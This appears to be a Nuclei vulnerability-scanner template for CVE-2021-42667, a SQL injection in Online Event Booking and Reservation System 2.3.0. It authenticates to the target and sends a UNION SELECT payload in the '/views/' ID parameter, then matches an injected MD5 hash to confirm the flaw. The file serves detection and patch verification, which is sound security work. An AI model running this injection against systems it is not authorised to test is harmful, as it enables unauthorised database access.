id: CVE-2021-42667 info: name: Online Event Booking and Reservation System 2.3.0 - SQL Injection author: fxploit severity: critical description: | Online Event Booking and Reservation System 2.3.0 contains a SQL injection vulnerability in event-management/views. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. reference: - https://github.com/0xDeku/CVE-2021-42667 - https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html - https://github.com/TheHackingRabbi/CVE-2021-42667 - https://nvd.nist.gov/vuln/detail/CVE-2021-42667 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-42667 cwe-id: CWE-89 cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:*:*:*:*:*:*:*:* epss-score: 0.01689 metadata: max-request: 2 verified: true tags: cve,cve2021,sqli,authenticated variables: num: "999999999" http: - raw: - | POST /login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded name={{username}}&pwd={{password}} - | GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '{{md5(num)}}' - type: status status: - 200 # Enhanced by mp on 2022/09/28